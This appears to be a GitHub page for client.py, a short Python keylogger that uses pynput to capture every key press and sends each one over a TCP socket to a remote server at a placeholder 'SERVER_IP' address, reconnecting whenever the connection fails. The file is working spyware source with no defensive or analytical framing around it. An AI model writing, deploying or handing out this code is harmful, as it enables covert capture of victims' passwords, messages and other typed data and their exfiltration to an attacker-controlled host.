-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathclient.py
52 lines (40 loc) · 1.2 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import socket
import time
from pynput import keyboard
def on_key_press(key):
try:
message = f"Key pressed: {key.char}"
except AttributeError:
message = f"Special key pressed: {key}"
try:
s.sendall(message.encode('utf-8'))
except Exception as e:
print(f"Error sending data: {e}")
reconnect()
def on_key_release(key):
pass
def connect_to_server():
while True:
try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the host machine
host_ip = 'SERVER_IP' # Replace 'SERVER_IP' with the IP address of your server
host_port = 12345
s.connect((host_ip, host_port))
return s
except Exception as e:
print(f"Connection failed, retrying{e}")
def reconnect():
global s
s.close()
s = connect_to_server()
s = connect_to_server()
try:
with keyboard.Listener(
on_press=on_key_press,
on_release=on_key_release) as listener:
listener.join()
except Exception as e:
print(f"Error in listener: {e}")
reconnect()